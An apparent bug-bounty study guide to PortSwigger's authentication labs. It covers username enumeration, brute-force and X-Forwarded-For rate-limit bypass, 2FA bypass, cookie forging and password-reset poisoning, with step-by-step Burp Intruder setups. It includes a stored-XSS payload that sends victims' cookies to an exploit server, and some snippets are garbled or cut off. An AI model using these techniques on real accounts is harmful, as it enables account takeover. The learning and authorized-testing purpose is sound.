

Authentication Vulnerabilities — Complete One-Stop Guide

PortSwigger Web Security Academy · All 14 Labs · Bug Bounty Ready

Updated: June 2026 | Author: Compiled for Bug Bounty Hunters (HackerOne)

Table of Contents

1. [What Is Authentication?](#)
 2. [Authentication vs Authorization](#)
 3. [How Authentication Vulnerabilities Arise](#)
 4. [Impact of Vulnerable Authentication](#)
 5. [Vulnerabilities in Password-Based Login](#)
 - [Username Enumeration](#)
 - [Brute-Force Attacks](#)
 - [Flawed Brute-Force Protection](#)
 - [Account Locking](#)
 - [HTTP Basic Authentication](#)
 6. [Vulnerabilities in Multi-Factor Authentication \(2FA\)](#)
 7. [Vulnerabilities in Other Authentication Mechanisms](#)
 - [Stay-Logged-In Cookies](#)
 - [Password Reset Flaws](#)
 - [Password Change Flaws](#)
 8. [All 14 Labs — Step-by-Step Walkthroughs](#)
 9. [Prevention Checklist](#)
 10. [Bug Bounty Hunting Guide — Real World Application](#)
 11. [Burp Suite Toolkit Reference](#)
 12. [Wordlists and Resources](#)
-

1. What Is Authentication?

Authentication is the process of verifying the identity of a user or client.

Websites are publicly accessible to anyone on the internet, making robust authentication a critical security requirement.

Authentication factors:

Factor Type	What It Is	Examples
Knowledge factor	Something you know	Password, PIN, security question answer
Possession factor	Something you have	Phone, hardware token, OTP device
Inherence factor	Something you are/do	Biometrics (fingerprint, face), behavioral patterns

Authentication mechanisms combine one or more of these factors using a range of technologies (session cookies, JWTs, OAuth tokens, etc.).

2. Authentication vs Authorization

These are frequently confused — understanding the difference is critical for bug bounty reporting.

Concept	Definition	Example
Authentication	<i>Who are you?</i> — Verifying identity	Logging in with username + password
Authorization	<i>What can you do?</i> — Verifying permissions	Checking if a logged-in user can access <code>/admin</code>

Bug Bounty Note: Authentication bugs (bypassing login) are typically rated **Critical/High**. Authorization bugs (accessing other users' data) are usually **High** (IDOR). The distinction matters for writing clear, accurate reports on HackerOne.

3. How Authentication Vulnerabilities Arise

Authentication vulnerabilities arise from two root causes:

3.1 Weak Authentication Mechanisms

- Insufficient brute-force protection
- Predictable or weak credential policies
- No multi-factor authentication

3.2 Implementation Errors (Logic Flaws)

These are the most common in bug bounties. Developers often introduce subtle flaws:

- Different error messages for valid vs. invalid usernames (information leakage)
- Session state not properly tied to authentication steps (2FA bypass)

- Password reset tokens that are guessable or not invalidated after use
- Rate limiting applied to IP address only, not user accounts
- Token re-use not prevented (replay attacks)

Key Insight: Most real-world auth bugs are NOT cryptographic weaknesses — they are **logic errors** and **poor implementation choices**.

4. Impact of Vulnerable Authentication

Severity	Impact
Critical	Full account takeover, admin panel access, mass data breach
High	Bypass of authentication for specific users, privilege escalation
Medium	Username enumeration (can lead to targeted attacks)
Low	Information leakage about authentication mechanism

Real-world examples:

- Bypassing 2FA via URL manipulation → Account takeover
 - Weak "remember me" cookie → Offline crack → Login as victim
 - Password reset poisoning → Take over any account
-

5. Vulnerabilities in Password-Based Login

5.1 Username Enumeration

What it is: The application reveals whether a username exists by returning different responses for valid vs. invalid usernames.

Where to look:

- Login page error messages
- Password reset forms
- Account registration forms

Enumeration signals:

Signal	Valid Username	Invalid Username
Response body	"Incorrect password"	"Invalid username"
HTTP status code	302 Found	200 OK
Response length	Different character count	Different character count
Response time	Longer (hashing takes time)	Shorter (immediate rejection)

How to test in Burp Suite:

1. Intercept the login (POST) request
2. Send to **Intruder**
3. Set attack type: **Sniper**
4. Mark (§username§) as payload position
5. Use PortSwigger's username wordlist as payload
6. Start attack → Sort by **Status Code** or **Length**
7. Any outlier = valid username

Bug Bounty Tip: Always check if the password reset page also enumerates users. Apps often fix the login page but forget the reset page.

5.2 Brute-Force Attacks

Once you have a valid username, try brute-forcing the password.

Attack types in Burp Intruder:

Attack Type	Use Case
Sniper	Single payload position (one username, brute-force passwords)
Cluster Bomb	Two payload positions (brute-force both username AND password simultaneously)

Detecting success:

- Look for 302 Found redirect (vs 200 OK for failure)
- Look for different response length
- Look for absence of "Invalid credentials" in body

5.3 Flawed Brute-Force Protection

Apps often try to protect against brute force but implement it incorrectly.

Common flaws:

IP-Based Rate Limiting (Bypassable)

The server counts failed attempts per IP. Bypass methods:

- Add `X-Forwarded-For: <spoofed_ip>` header — increments a fake IP
- Rotate IP values as a payload in Burp Intruder

Example — X-Forwarded-For bypass:

```
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: 1.1.1.1

username=admin&password=wrongpassword
```

Change `1.1.1.1` to `1.1.1.2`, `1.1.1.3`, etc. with each request.

Counter Reset by Successful Login

Some apps reset the failed-attempt counter when you successfully log in.

Bypass strategy:

- Submit `(N)` wrong passwords for `(carlos)`
- Then submit 1 correct login for `(wiener:peter)` (resets counter)
- Repeat: wrong, wrong, correct wiener, wrong, wrong, correct wiener...

This requires a custom payload list: interleave the victim's password attempts with your own correct credentials.

5.4 Account Locking

Account lockout is a brute-force protection mechanism — but it can be weaponized for username enumeration.

Enumeration via lockout:

- Try the same set of 5-10 passwords against many usernames
- If one username gets locked, it's valid (it actually accumulated failed attempts)
- Other usernames may not lock because they don't exist

Steps:

1. Use Intruder with **Cluster Bomb**
 2. Payload 1: usernames list
 3. Payload 2: a short list of 5 common passwords
 4. Look for a (429 Too Many Requests) or "Your account has been locked" response — that username exists
-

5.5 HTTP Basic Authentication

HTTP Basic Auth sends credentials as (Base64(username:password)) in the (Authorization) header.

```
Authorization: Basic d2llbmVyOnBldGVy
```

Decode: (wiener:peter)

Vulnerabilities:

- Not encrypted (must be over HTTPS)
- Credentials sent with every request — more exposure surface
- Often used in internal tools with weak passwords
- Easily brute-forced with Hydra, Burp, or custom scripts

Bug Bounty Tip: Check internal API endpoints, (/admin), (/staging), (/git) — these sometimes use Basic Auth with default creds.

6. Vulnerabilities in Multi-Factor Authentication (2FA)

How 2FA Works (Normal Flow)

- ```
1. User submits username + password → POST /login → Server sets session cookie
2. Server redirects to /login2 (2FA page)
3. User submits OTP code → POST /login2 → Server validates code → Access granted
```

### 6.1 Simple 2FA Bypass (Direct URL Skip)

**The flaw:** After step 1, the server doesn't enforce step 2. If you navigate directly to (/my-account), the server grants access because the session cookie already marks the user as "partially logged in."

**How to exploit:**

1. Log in with `carlos:montoya`
2. You get redirected to `/login2`
3. Instead of submitting the OTP, manually navigate to `/my-account?id=carlos`
4. Access granted — 2FA never checked

**Root cause:** The server sets a session cookie after password verification without tracking whether 2FA was completed.

---

## 6.2 Flawed 2FA Logic (verify Cookie Manipulation)

**The flaw:** The application uses a client-side cookie `verify=<username>` to determine which user is being authenticated in the 2FA step. This is controlled by the attacker.

**Normal request:**

```
GET /login2 HTTP/1.1
Cookie: session=abc123; verify=wiener
```

**Attack flow:**

1. Log in as `wiener:peter` to get a valid session
  2. Go to `/login2` — you'll see `verify=wiener` cookie
  3. In Burp Repeater, change: `verify=wiener` → `verify=carlos`
  4. Send a GET to `/login2` with `verify=carlos` — this forces the server to generate a 2FA code for Carlos (which you can't receive, but it's now set)
  5. Now brute-force the 4-digit OTP in Burp Intruder with `verify=carlos`
  6. When you get a `302 Found`, the correct OTP was found
- 

## 6.3 Brute-Forcing 2FA Codes

Most 2FA codes are 4-6 digits. With no rate limiting, they're trivially brutable.

**Complication:** Some apps log you out after 2 wrong OTP attempts, requiring re-login before each attempt.

**Solution — Burp Suite Macros:**

1. Go to **Settings** → **Sessions** → **Add Session Rule**
2. Scope: All URLs
3. Rule Action: **Run a Macro**
4. Macro sequence:
  - `GET /login` (load login page)

- `POST /login` (submit wiener:peter credentials)
  - `GET /login2` (trigger OTP generation for the target)
5. Configure macro to set `verify=carlos` on the final GET
  6. Run Intruder with payload: numbers 0000-9999 (Brute forcer, charset `0123456789`, length 4)
  7. Filter for `302 Found`
- 

## 7. Vulnerabilities in Other Authentication Mechanisms

### 7.1 Stay-Logged-In Cookies

**What it is:** An app sets a persistent cookie when you check "Remember me," allowing login without credentials.

**Common weak patterns:**

| Pattern            | Example                                                   | Problem                        |
|--------------------|-----------------------------------------------------------|--------------------------------|
| Base64 only        | <code>d2llbmVy0nBldGVy</code> = <code>wiener:peter</code> | No crypto, trivially decodable |
| Base64 + MD5 hash  | <code>base64(username:md5(password))</code>               | Hash is crackable              |
| Predictable format | <code>username + timestamp</code>                         | Guessable                      |

### Decoding attack:

Cookie: stay-logged-in=d2llbmVy0jUxZGMzMGRkYzQ3M2QOM2E2MDExZTl1YmJhNmNhNzcw

Base64 decode → wiener:51dc30ddc473d43a6011e9ebba6ca770

└─ MD5 hash → crack at crackstation.net

### Brute-force attack (Burp Intruder):

1. Log in as `wiener:peter` with "stay logged in" checked
2. Observe the cookie format
3. In Intruder, use payload processing rules:
  - Step 1: Hash (MD5) the payload (password from wordlist)
  - Step 2: Add prefix `carlos:`
  - Step 3: Base64 encode the whole thing
4. Set the `stay-logged-in` cookie value as the payload position
5. Start attack → look for `302` or `200` with account content



**Offline password cracking (XSS pivot):** If you can inject XSS on the target:

```
javascript
```

```
<script>document.location='https://YOUR_EXPLOIT_SERVER/?c='+document.cookie</script>
```

This exfiltrates the victim's `stay-logged-in` cookie to your server, which you then crack offline.

---

## 7.2 Password Reset Flaws

### Flaw 1: Token Not Tied to User (Broken Logic)

**The flaw:** The reset form accepts a `username` parameter independently from the reset token. The server checks the token exists, but doesn't verify it belongs to the submitted username.

#### Attack:

1. Request a reset for your own account (`wiener`)
  2. Get the reset link from the email client
  3. Navigate to the reset URL
  4. Intercept the final `POST` request (where you submit new password)
  5. Change `username=wiener` → `username=carlos`
  6. Also set `temp-forgot-password-token` to empty or null (some apps don't validate)
  7. Submit → Carlos's password is now changed
- 

### Flaw 2: Password Reset Poisoning via Middleware

**The flaw:** The app builds the reset URL using the `Host` header (or `X-Forwarded-Host`). If an attacker can control this header, the reset link is sent to the victim but points to the attacker's server.

#### Attack:

1. Trigger a password reset for `carlos`
2. Intercept the `POST /forgot-password` request
3. Add/modify: `X-Forwarded-Host: YOUR_EXPLOIT_SERVER`
4. Forward the request
5. Carlos receives the email with a reset link pointing to YOUR server
6. Carlos clicks the link → your server logs the token in access logs:

```
GET /forgot-password?temp-forgot-password-token=abcdef123456 HTTP/1.1
Host: YOUR_EXPLOIT_SERVER
```

7. Use that token at the real site: `https://TARGET.com/forgot-password?temp-forgot-password-token=abcdef123456`
- 

### 7.3 Password Change Flaws

**The flaw:** The password change function's rate limiting is applied to the "check current password" step, but not to the "new password mismatch" step. This allows unlimited brute-force attempts on the current password by intentionally mismatching the new password fields.

#### Attack:

1. Log in as `wiener`
  2. Go to the password change page
  3. Intercept the request — notice parameters:
    - `username` (sometimes controllable!)
    - `current-password`
    - `new-password-1`
    - `new-password-2`
  4. Set `username=carlos`, `new-password-1=anything`, `new-password-2=DIFFERENT`
  5. Send to Intruder, mark `current-password` as payload
  6. Use the password wordlist
  7. A mismatched new-password response indicates the correct current password was accepted before the mismatch was caught
  8. The response says "New passwords do not match" (vs. "Current password is incorrect") → that payload is the correct current password
- 

## 8. All 14 Labs — Step-by-Step Walkthroughs

**Credentials available to you in most labs:** `wiener:peter` (your account),  
`carlos:montoya` (victim, password-based login labs) **Default PortSwigger wordlists:**  
[Usernames](#) | [Passwords](#)

---

### Lab 1: Username Enumeration via Different Responses

**Level:** Apprentice

**Goal:** Find a valid username, brute-force their password, access `/my-account`.

**What makes it vulnerable:** The server returns "Invalid username" for bad usernames but "Incorrect password" for valid usernames.

**Steps:**

1. Open the lab, go to `/login`
  2. Submit a login attempt (anything), intercept in Burp
  3. Send `POST /login` to **Intruder**
  4. Set attack type: **Sniper**
  5. Mark `username=$fuzz$` as payload position
  6. Payload: PortSwigger usernames list
  7. Start attack → sort by **Length** → find the response with a different body (it says "Incorrect password" instead of "Invalid username")
  8. Note the valid username (e.g., `accounts`)
  9. **Round 2:** Set username to the valid one, mark `password=$fuzz$`
  10. Payload: PortSwigger passwords list
  11. Start attack → look for `302 Found` response
  12. Log in with discovered credentials
- 

## Lab 2: Username Enumeration via Subtly Different Responses

**Level:** Practitioner

**Goal:** Same as Lab 1, but the difference is extremely subtle (a missing period, capitalization, or extra space).

**What makes it vulnerable:** Response body is almost identical — you need to compare carefully.

**Steps:**

1. Run Sniper attack on username field (same as Lab 1)
  2. The status codes and lengths will look very similar
  3. In Intruder results, right-click a suspicious result → **Send to Comparer (Response)**
  4. Do the same for a "normal" (invalid) response
  5. In Comparer, click **Words** → differences will be highlighted
  6. Common difference: "Invalid username." vs "Invalid username" (with/without period), or "Incorrect password " (extra space)
  7. Once you find the valid username, brute-force the password (same steps as Lab 1)
-

### Lab 3: Username Enumeration via Response Timing

**Level:** Practitioner

**Goal:** Enumerate usernames based on how long the server takes to respond.

**What makes it vulnerable:** For valid usernames, the server spends time hashing the submitted password (bcrypt is slow). For invalid usernames, it rejects immediately without hashing.

**Complication:** There's IP-based rate limiting.

**Steps:**

1. Log in attempt → intercept → send to Repeater
  2. Test: with a valid username (`wiener`) and very long password (100+ chars), response takes longer
  3. Test: with invalid username and same long password, response is fast
  4. Bypass rate limiting: add (`X-Forwarded-For: 1`) header
  5. Send to **Intruder**, attack type: **Pitchfork**
  6. Payload 1: incrementing numbers (1, 2, 3...) for the (`X-Forwarded-For`) header
  7. Payload 2: PortSwigger usernames list for the username field
  8. Set password to a very long string (500 chars)
  9. In results, click **Columns** → **Response received** (time in ms)
  10. Sort by response time — valid username will take noticeably longer
  11. Brute-force password using that username (with X-Forwarded-For bypass)
- 

### Lab 4: Broken Brute-Force Protection, IP Block

**Level:** Practitioner

**Goal:** Brute-force (`carlos`)'s password despite IP-based lockout (blocks after 3 attempts).

**What makes it vulnerable:** Login counter resets when you successfully authenticate, even as a different user.

**Steps:**

1. Build a special payload list — for every 2 attempts against carlos, insert a valid wiener:peter login:

```
carlos / password1
carlos / password2
wiener / peter ← resets counter
carlos / password3
carlos / password4
wiener / peter ← resets counter
...
```

2. In Intruder, attack type: **Pitchfork**
3. Payload 1: username list (alternating `carlos`, `carlos`, `wiener`)
4. Payload 2: password list (alternating two carlos passwords, then `peter`)
5. Turn off **Payload encoding** (important!)
6. Start attack → find `302 Found` for carlos → that's the correct password
7. Log in as carlos

**Tip:** Craft the payload lists in a text file before starting. The ratio needs to be consistent.

---

## Lab 5: Username Enumeration via Account Lock

**Level:** Practitioner

**Goal:** Enumerate a valid username by triggering logout, then brute-force their password.

**What makes it vulnerable:** Only valid usernames trigger account lockout; invalid usernames just silently fail.

**Steps:**

1. Intruder → attack type: **Cluster Bomb**
  2. Payload 1: PortSwigger usernames list (for `username=§§`)
  3. Payload 2: Null payload × 5 (just repeat the same request 5 times per username)
    - In Payload Set 2 → Payload type: **Null payloads** → Generate 5 payloads
  4. Start attack
  5. Sort by **Length** — one username will return "You have been locked out" message → that's the valid username
  6. Wait 1 minute for lock to expire
  7. Brute-force the password for that username — use Sniper with the password list
  8. Look for a response that does NOT say "You have been locked out" AND does not say "Incorrect password" — a clean login or redirect
  9. Log in with found credentials
-

## Lab 6: 2FA Simple Bypass

**Level:** Apprentice

**Goal:** Access `carlos`'s account despite not having access to his 2FA email.

**What makes it vulnerable:** The server doesn't enforce 2FA completion before allowing access to protected pages.

### Steps:

1. Log in with `carlos:montoya` → you get redirected to `/login2` (2FA page)
2. Do NOT enter any OTP
3. Manually navigate to: `/my-account?id=carlos`
4. Lab solved — the session cookie was already set after step 1, and the server doesn't check if 2FA was completed

**Why this works:** The app sets a full session after password auth. The 2FA page is a UI gate, not a server-side gate.

---

## Lab 7: 2FA Broken Logic

**Level:** Practitioner

**Goal:** Bypass 2FA for `carlos` by exploiting the `verify` cookie.

**What makes it vulnerable:** The server uses a client-supplied `verify` cookie to determine which user's 2FA code to check, not the session.

### Steps:

1. Log in as `wiener:peter` → proceed through 2FA → observe cookies
  2. In Burp HTTP history, find the `GET /login2` request
  3. Notice cookie: `verify=wiener`
  4. Send this `GET /login2` to **Repeater**
  5. Change cookie to `verify=carlos` → send
  6. Server responds `200 OK` — it just generated a 4-digit OTP for carlos's account
  7. Now send the **POST /login2** request to **Intruder**
  8. Change `verify=carlos` in the cookie
  9. Mark the `mfa-code=§§` as payload
  10. Payload type: **Brute forcer** | Charset: `0123456789` | Min/Max length: `4`
  11. Start attack → look for `302 Found`
  12. Use that session cookie from the 302 response → navigate to `/my-account?id=carlos`
-

## Lab 8: 2FA Bypass via Brute-Force Attack

**Level:** Expert

**Goal:** Brute-force Carlos's 2FA code despite being logged out after 2 wrong attempts.

**What makes it vulnerable:** No real brute-force protection — just a logout that can be automated around.

### Steps:

1. In Burp: **Settings** → **Sessions** → **Session Handling Rules** → **Add**
  2. Scope: Include all URLs
  3. Rule Action: **Run a Macro**
  4. Record macro:
    - GET /login
    - POST /login (with username=carlos&password=montoya)
    - GET /login2 (change verify cookie to carlos)
  5. Test macro — look for responses: 200, 302, 200
  6. In Intruder: POST to /login2, mark mfa-code=\$\$
  7. Payload: Brute forcer, 0123456789, length 4 (0000-9999)
  8. Resource Pool: **1 concurrent request** (macros require sequential execution)
  9. Start attack → find 302 Found → right-click → **Show response in browser**
- 

## Lab 9: Brute-Forcing a Stay-Logged-In Cookie

**Level:** Practitioner

**Goal:** Crack Carlos's stay-logged-in cookie to access his account.

**What makes it vulnerable:** Cookie is base64(username:md5(password)) — trivially reversible.

### Steps:

1. Log in as wiener:peter with "Stay logged in" checked
2. Intercept the login response → note stay-logged-in cookie
3. Decode in Burp Decoder: Base64 → wiener:51dc30ddc473d43a6011e9ebba6ca770
4. The MD5 hash → 51dc30ddc473d43a6011e9ebba6ca770 = MD5("peter") — confirmed
5. Now attack: we'll generate cookies for carlos + each password from the list

### Intruder setup:

1. Send a GET /my-account request to Intruder
2. Mark stay-logged-in=\$\$ as the payload position

3. Payload: PortSwigger passwords list
  4. **Payload Processing (in order):**
    - Add Rule → **Hash** → **MD5** (hash the password)
    - Add Rule → **Add prefix:** `carlos:`
    - Add Rule → **Encode** → **Base64**
  5. Start attack → look for `302` or `200` with account content
  6. Use the matching cookie in your browser to access the account
- 

## Lab 10: Offline Password Cracking

**Level:** Practitioner

**Goal:** Steal Carlos's `stay-logged-in` cookie via stored XSS, then crack it offline.

**What makes it vulnerable:** XSS in blog comments + weak cookie construction.

**Steps:**

1. Find the blog comment field — it's vulnerable to stored XSS
2. Post this payload as a comment:

```
html
<script>document.location='https://YOUR-EXPLOIT-SERVER.exploit-server.net/' +
```

3. Wait for the victim (Carlos) to visit the blog
4. Check your exploit server access logs:

```
GET /stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
HTTP/1.1
```

5. Decode the cookie:
    - Base64 decode → `carlos:26323c16d5f4dabff3bb136f2460a943`
    - MD5 hash: `26323c16d5f4dabff3bb136f2460a943`
  6. Go to [crackstation.net](https://crackstation.net) → paste hash → crack it
  7. Result: `onceuponatime` (or similar)
  8. Log in as `carlos:onceuponatime` → delete his account to solve the lab
-



## Lab 11: Password Reset Broken Logic

**Level:** Apprentice

**Goal:** Reset Carlos's password by exploiting a logic flaw in the reset mechanism.

**What makes it vulnerable:** The server validates the reset token exists, but doesn't verify it belongs to the submitted username.

**Steps:**

1. Click "Forgot password" → enter `wiener`
2. Go to the Email Client → open the reset link
3. Intercept the `(POST)` request when you submit a new password
4. The request looks like:

```
POST /forgot-password
temp-forgot-password-token=YOURTOKEN&username=wiener&new-password-1=abc&new-password-2=abc
```

5. Change `(username=wiener)` → `(username=carlos)`
  6. Optionally delete the token value (set it to empty) — some versions accept this
  7. Forward → Carlos's password is now reset
  8. Log in as `(carlos)` with your new password
- 

## Lab 12: Password Reset Poisoning via Middleware

**Level:** Practitioner

**Goal:** Steal Carlos's reset token by poisoning the reset email's URL.

**What makes it vulnerable:** App builds reset URL using `(X-Forwarded-Host)` header without validation.

**Steps:**

1. Go to the exploit server — note your exploit server URL
2. Click "Forgot password" → enter `(carlos)`
3. Intercept the `(POST /forgot-password)` request
4. Add header: `(X-Forwarded-Host: YOUR-EXPLOIT-SERVER.net)`
5. Forward the request
6. Check exploit server access logs — you'll see:

```
GET /forgot-password?temp-forgot-password-token=abc123xyz HTTP/1.1
Host: YOUR-EXPLOIT-SERVER.net
Referer: https://TARGET.com/forgot-password
```

7. Copy the token: `abc123xyz`
  8. Go to: `https://TARGET.com/forgot-password-token=abc123xyz`
  9. Set a new password for Carlos
  10. Log in as Carlos with new password
- 

## Lab 13: Password Brute-Force via Password Change

**Level:** Practitioner

**Goal:** Brute-force Carlos's current password using the password change function.

**What makes it vulnerable:** The password change function leaks whether the current password is correct through different error messages, and rate limiting only kicks in after the current password check — but not when new passwords mismatch.

### Steps:

1. Log in as `wiener:peter`
2. Go to the password change page, intercept the change request
3. Request looks like:

```
POST /my-account/change-password
username=wiener¤t-password=peter&new-password-1=abc&new-password-2=abc
```

4. Change `username=carlos`
  5. Send to **Intruder** — mark `current-password=§§`
  6. Payload: PortSwigger passwords list
  7. Set `new-password-1=anything` and `new-password-2=different` (intentional mismatch)
  8. Start attack
  9. Sort by response:
    - "Current password is incorrect" → wrong password
    - "New passwords do not match" → **correct current password found!**
  10. Log in as `carlos` with the discovered password
-

## 9. Prevention Checklist

Use this checklist when assessing targets on HackerOne — if they fail any of these, it's a potential finding.

### User Credentials

- ☐ Passwords transmitted only over HTTPS
- ☐ Passwords stored with bcrypt/scrypt/Argon2 (not MD5/SHA1)
- ☐ No credentials in cookies, URLs, or logs
- ☐ Password policy enforces minimum length + complexity

### Brute-Force Protection

- ☐ Account lockout after N failed attempts (tied to account, not just IP)
- ☐ Rate limiting per account AND per IP
- ☐ CAPTCHA on login/reset forms for suspicious behavior
- ☐ `X-Forwarded-For` header NOT trusted for rate limiting

### Username Enumeration Prevention

- ☐ Identical error messages for "wrong username" and "wrong password"
- ☐ Identical response times for valid vs. invalid users
- ☐ Identical error messages on password reset for valid vs. invalid accounts

### 2FA / MFA

- ☐ 2FA completion enforced server-side (not just a page redirect)
- ☐ `verify` cookie (or equivalent) tied to server session, not client-controlled
- ☐ OTP codes expire after short time (30-60 seconds)
- ☐ Rate limiting on OTP submission (max 3-5 attempts)
- ☐ TOTP/HOTP algorithms (not custom predictable codes)

### Session & Cookies

- ☐ `stay-logged-in` cookies are cryptographically random (not derived from credentials)
- ☐ `HttpOnly` and `Secure` flags set on all sensitive cookies
- ☐ Sessions invalidated on logout
- ☐ Cookie values not predictable or forgeable

### Password Reset

- ☐ Reset tokens are cryptographically random (min 128 bits)
- ☐ Tokens are single-use and expire quickly (15-60 minutes)
- ☐ Token is tied server-side to the specific user account
- ☐ Reset URL built server-side without trusting `Host` or `X-Forwarded-Host` headers

---

## 10. Bug Bounty Hunting Guide — Real World Application

### 10.1 Recon — Where to Look for Auth Bugs

#### Endpoints to always test:

```
/login
/signup / /register
/forgot-password
/reset-password
/verify-email
/2fa / /otp / /mfa
/api/v*/auth/*
/api/v*/login
/api/v*/token
/oauth/authorize
/oauth/token
/.well-known/openid-configuration
```

#### Headers to always check:

- `X-Forwarded-For` — can bypass IP rate limiting
- `X-Forwarded-Host` / `X-Host` — can poison reset emails
- `Origin` — CSRF and CORS issues
- `Referer` — token leakage

---

### 10.2 Testing Methodology (Prioritized)

#### Step 1 — Fingerprint the auth mechanism:

- Is it session cookies or JWTs?
- Is there 2FA? What type?
- Is there a "remember me" option?
- What does the error message say for wrong username vs wrong password?

#### Step 2 — Test for username enumeration:

- Compare responses for valid vs. invalid usernames on login, reset, and registration
- Use Burp Comparer on response bodies
- Check response time differences

#### Step 3 — Test 2FA logic:

- After password auth, skip 2FA by navigating directly to the authenticated URL
- Check if `(verify)` cookie or similar is controllable
- Test if 2FA is enforced when going directly to a protected endpoint

#### Step 4 — Test password reset:

- Get your own reset token → modify `(username)` in the final submission
- Add `(X-Forwarded-Host)` to the reset request → check your server logs
- Test if the token expires and if it's single-use

#### Step 5 — Test cookies:

- Decode all cookies (Base64, JWT, hex)
- If `(stay-logged-in)` cookie appears derived from credentials → attempt to forge
- Test for session fixation (set your own session ID before login)

#### Step 6 — Test rate limiting:

- Rapid-fire 20+ login attempts — does the app block you?
- Try `(X-Forwarded-For)` to bypass IP blocks
- Test if a successful login resets the failure counter

---

### 10.3 Writing Strong HackerOne Reports

**Title format:** `([Severity] Authentication bypass via [specific technique] on [endpoint])`

#### Example titles:

- `([Critical] 2FA bypass via direct URL navigation on /my-account)`
- `([High] Username enumeration via different error messages on /forgot-password)`
- `([High] Password reset poisoning via X-Forwarded-Host header manipulation)`

#### Report structure:

markdown

### ## Summary

One paragraph describing the vulnerability, the endpoint, and the impact.

### ## Vulnerability Details

- Type: [e.g., Broken Authentication, 2FA Bypass]
- Endpoint: POST /login or GET /my-account
- Root cause: [e.g., session set before 2FA completion]

### ## Steps to Reproduce

1. Navigate to https://target.com/login
2. Submit credentials: [username]:[password]
3. ...

### ## Proof of Concept

[Screenshot or curl command]

### ## Impact

An attacker can [specific consequence – account takeover, password reset for an

### ## Suggested Fix

[Specific remediation tied to the root cause]

## 10.4 Severity Rating Guide

| Auth Bug                                                      | CVSS Estimate      | HackerOne Typical Payout |
|---------------------------------------------------------------|--------------------|--------------------------|
| Full account takeover (no user interaction)                   | 9.1-10.0 Critical  | \$500-\$10,000+          |
| 2FA complete bypass                                           | 8.0-9.0 High       | \$500-\$5,000            |
| Password reset for any user                                   | 8.0-9.0 High       | \$300-\$3,000            |
| Username enumeration + rate limit bypass enabling brute-force | 6.0-7.5 Medium     | \$100-\$500              |
| Username enumeration only                                     | 3.0-5.0 Low/Medium | \$50-\$200               |

## 10.5 Common Real-World Patterns (Privy.io Context)

When testing apps like Privy that handle identity/auth as a service:

## High-value targets:

- Widget authentication flows (embedded login)
- Token issuance endpoints (`/token`, `/authorize`)
- Email-based magic link flows (test for token leakage, no expiry)
- 2FA enrollment and verification endpoints
- API key authentication (predictable formats, improper scope)

## Privy-specific things to try:

- In Burp, intercept the authentication API calls made by the embedded widget
  - Look for `userId` or `walletAddress` parameters that can be substituted
  - Test whether JWT tokens verify properly (check `alg: none` and weak signing)
  - Test social login flows for OAuth misconfigurations
- 

## 11. Burp Suite Toolkit Reference

### Intruder Attack Types

| Attack Type   | Payloads                  | Use When                                           |
|---------------|---------------------------|----------------------------------------------------|
| Sniper        | 1                         | Brute-forcing one field (username or password)     |
| Battering Ram | 1 (sent to all positions) | Rare — same payload in multiple spots              |
| Pitchfork     | Multiple (synced)         | Username + IP bypass (different list per position) |
| Cluster Bomb  | Multiple (all combos)     | Brute-force username AND password simultaneously   |

### Useful Payload Processing Rules (Intruder)

| Step | Action          | Use Case                                            |
|------|-----------------|-----------------------------------------------------|
| 1    | Hash → MD5      | Cookie cracking — hash the password first           |
| 2    | Add prefix      | Cookie cracking — add <code>username:</code> prefix |
| 3    | Encode → Base64 | Cookie cracking — encode the final string           |

## Burp Decoder Quick Reference

| Input                            | Action                          | Output       |
|----------------------------------|---------------------------------|--------------|
| d2llbmVy0nBldGVy                 | Base64 Decode                   | wiener:peter |
| 51dc30ddc473d43a6011e9ebba6ca770 | None — take to crackstation.net | peter        |

## Session Handling Macros

Use when attacks require re-authentication per request (e.g., 2FA brute-force):

```
Settings → Sessions → Session Handling Rules → Add
→ Rule Actions → Run a Macro
→ Record: GET /login, POST /login, GET /login2
→ Configure parameters to extract from responses
→ Test macro (expect 200, 302, 200 sequence)
```

## 12. Wordlists and Resources

### PortSwigger Official Wordlists

- **Username:** <https://portswigger.net/web-security/authentication/auth-lab-username>
- **Password:** <https://portswigger.net/web-security/authentication/auth-lab-password>

### MD5 Cracking

- **CrackStation:** <https://crackstation.net> (free, large rainbow table)
- **Hashcat** (offline, GPU): `hashcat -m 0 hash.txt rockyou.txt`

### Other Useful Wordlists

- **SecLists:** <https://github.com/danielmiessler/SecLists>
  - `/Usernames/top-usernames-shortlist.txt`
  - `/Passwords/Common-Credentials/10-million-password-list-top-10000.txt`
- **rockyou.txt:** Standard password list, included in Kali Linux

### Useful Tools

| Tool                     | Use                                             |
|--------------------------|-------------------------------------------------|
| Burp Suite Community/Pro | All active testing, Intruder, Repeater, Decoder |



| Tool         | Use                                         |
|--------------|---------------------------------------------|
| ffuf         | Fast command-line fuzzing for API endpoints |
| Hydra        | Command-line brute-forcing                  |
| CyberChef    | Browser-based encoding/decoding/hashing     |
| jwt.io       | JWT token inspection and modification       |
| Crackstation | Online MD5/SHA1 hash cracking               |
|              |                                             |

## Key Takeaways for Bug Bounty Success

1. **User enumeration is your entry point.** Even a subtle difference in error messages is reportable AND leads to targeted brute-force.
2. **2FA is only as good as its server-side logic.** Always test: can you skip it? Can you control which user the OTP is generated for?
3. **Every cookie tells a story.** Always decode cookies — if they contain anything derived from credentials, they're likely forgeable.
4. **The password reset flow is a goldmine.** Test for: token not tied to user, no expiry, Host header injection, and parameter tampering.
5. **Rate limiting is usually incomplete.** IP-only rate limiting is always bypassable with `X-Forwarded-For`. Test it.
6. **Timing differences matter.** Even 50ms differences in response time can confirm a valid username.
7. **Report precision wins bounties.** Exact reproduction steps, specific endpoint, concrete impact, and clear fix recommendation all improve bounty outcomes.

---

*Guide version: June 2026 | Based on PortSwigger Web Security Academy Authentication Learning Path (14 labs) | Tailored for HackerOne bug bounty hunters*